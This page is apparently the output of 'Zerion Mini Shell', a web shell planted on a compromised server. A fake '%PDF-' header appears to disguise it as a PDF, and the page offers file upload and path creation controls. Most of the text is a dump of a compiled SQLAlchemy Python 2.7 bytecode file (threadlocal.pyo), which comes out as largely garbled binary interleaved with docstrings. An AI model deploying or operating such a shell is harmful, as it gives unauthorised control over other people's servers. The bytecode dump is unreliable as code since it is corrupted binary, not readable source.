%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyo

�
��4]c@shdZddlZddlmZddlmZdejfd��YZd	ejfd
��YZdS(s8Provides a thread-local transactional wrapper around the root Engine class.

The ``threadlocal`` module is invoked when using the
``strategy="threadlocal"`` flag with :func:`~sqlalchemy.engine.create_engine`.
This module is semi-private and is invoked automatically when the threadlocal
engine strategy is used.
i����Ni(tbasei(tutiltTLConnectioncBs,eZd�Zd�Zd�Zd�ZRS(cOs&tt|�j||�d|_dS(Ni(tsuperRt__init__t_TLConnection__opencount(tselftargtkw((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyRscCs|jd7_|S(Ni(R(R((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyt_increment_connectscCs5|jdkr"tjj|�n|jd8_dS(Ni(RRt
Connectiontclose(R((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyRscCsd|_tjj|�dS(Ni(RRR
R(R((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyt_force_close$s	(t__name__t
__module__RR	RR(((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyRs			tTLEnginecBs�eZdZeZejdd�d��Zd�Zd�Z	dd�Zd�Zd�Z
d	�Zd
�Zd�Zd�Zd
�Zd�Zed��Zd�Zd�ZRS(sPAn Engine that includes support for thread-local managed
    transactions.

    s1.3sThe 'threadlocal' engine strategy is deprecated, and will be removed in a future release.  The strategy is no longer relevant to modern usage patterns (including that of the ORM :class:`.Session` object) which make use of a :class:`.Connection` object in order to invoke statements.cOs/tt|�j||�tjj�|_dS(N(RRRRt	threadingtlocalt_connections(Rtargstkwargs((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyR1s	cKs
|j|�S(N(t_contextual_connect(RR((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pytcontextual_connect=scKs�t|jd�sd}n|jj�}|dks?|jr~|j||j|jj|�|�}t	j
|�|j_n|j�S(Ntconn(thasattrRtNoneRtclosedt_tl_connection_clst_wrap_pool_connecttpooltconnecttweakreftrefR	(RRt
connection((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyR@s		cCsJt|jd�s!g|j_n|jjj|j�jd|��|S(Nttranstxid(RRR"tappendRtbegin_twophase(RR#((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyR%Rs
cCsDt|jd�s!g|j_n|jjj|j�j��|S(NR"(RRR"R$Rtbegin_nested(R((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyR&Zs
cCsDt|jd�s!g|j_n|jjj|j�j��|S(NR"(RRR"R$Rtbegin(R((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyR'bscCs|S(N((R((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyt	__enter__hscCs'|dkr|j�n
|j�dS(N(Rtcommittrollback(Rttype_tvaluet	traceback((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyt__exit__ks
cCs<t|jd�s |jjr$dS|jjdj�dS(NR"i����(RRR"tprepare(R((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyR/qs
cCsGt|jd�s |jjr$dS|jjjd�}|j�dS(NR"i����(RRR"tpopR)(RR"((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyR)ys

cCsGt|jd�s |jjr$dS|jjjd�}|j�dS(NR"i����(RRR"R0R*(RR"((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyR*�s

cCs)tjj�|_tt|�j�dS(N(RRRRRRtdispose(R((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyR1�scCs8t|jd�p7|jj�dkp7|jj�jS(NR(RRRRR(R((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyR�scCsN|jsJ|j�j�|jj�}|j�|j`g|j_ndS(N(RRRRRRR"(RR!((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyR�s	
	cCsd|jS(NsTLEngine(%r)(turl(R((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyt__repr__�sN(R
Rt__doc__RRRt
deprecatedRRRRR%R&R'R(R.R/R)R*R1tpropertyRRR3(((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyR)s&
													(	R4RtRRR
RtEngineR(((sP/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/engine/threadlocal.pyt<module>s


Zerion Mini Shell 1.0